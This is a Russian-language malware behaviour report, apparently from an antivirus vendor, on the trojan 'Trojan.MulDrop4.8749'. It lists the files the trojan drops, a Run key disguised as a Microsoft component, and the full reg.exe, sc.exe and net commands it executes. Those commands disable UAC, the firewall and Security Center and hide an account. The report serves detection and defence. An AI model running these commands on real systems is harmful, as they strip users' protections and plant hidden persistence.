Trojan.MulDrop4.8749

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'LSA Shell (Export Version) v5.4 . Microsoft Corporation.' = '%WINDIR%\inf\rdyboost\wscsvc.exe -hide -start'

Создает следующие сервисы:

[<HKLM>\SYSTEM\ControlSet001\Services\WindowsServices] 'Start' = '00000002'

Вредоносные функции:

Для затруднения выявления своего присутствия в системе

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Создает и запускает на исполнение:

%WINDIR%\security\sfu\service.exe
%WINDIR%\inf\rdyboost\wscsvc.exe -hide -start
%TEMP%\sfu.exe
%WINDIR%\security\sfu\service.exe /install /silent

Запускает на исполнение:

<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorUser /t REG_DWORD /d 3 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v HelpAssistant /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" /v "DisableNotifications" /d "0" /t "REG_DWORD" /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
<SYSTEM32>\ping.exe 127.0.0.1 -n 3
<SYSTEM32>\attrib.exe +S +H -R %WINDIR%\inf\rdyboost
<SYSTEM32>\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "LSA Shell (Export Version) v5.4 . Microsoft Corporation." /d "%WINDIR%\inf\rdyboost\wscsvc.exe -hide -start" /t "REG_SZ" /f
<SYSTEM32>\attrib.exe -s -h inst.cmd
<SYSTEM32>\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "EnableBalloonTips" /d "0" /t "REG_DWORD" /f
<SYSTEM32>\attrib.exe -s -h pre.cmd
<SYSTEM32>\cmd.exe /c ""%TEMP%\inst.cmd" "
<SYSTEM32>\sc.exe config Alerter start= disabled
<SYSTEM32>\net.exe stop wscsvc
<SYSTEM32>\net1.exe stop wscsvc
<SYSTEM32>\cmd.exe /c ""%TEMP%\pre.cmd" "
<SYSTEM32>\net.exe stop Alerter
<SYSTEM32>\net1.exe stop Alerter
<SYSTEM32>\net1.exe stop SharedAccess
<SYSTEM32>\sc.exe config SharedAccess start= disabled
<SYSTEM32>\net1.exe start "Steam Files Updater"
<SYSTEM32>\cmd.exe /c ""%WINDIR%\security\sfu\sfustart.bat" "
<SYSTEM32>\sc.exe config wscsvc start= disabled
<SYSTEM32>\net.exe stop SharedAccess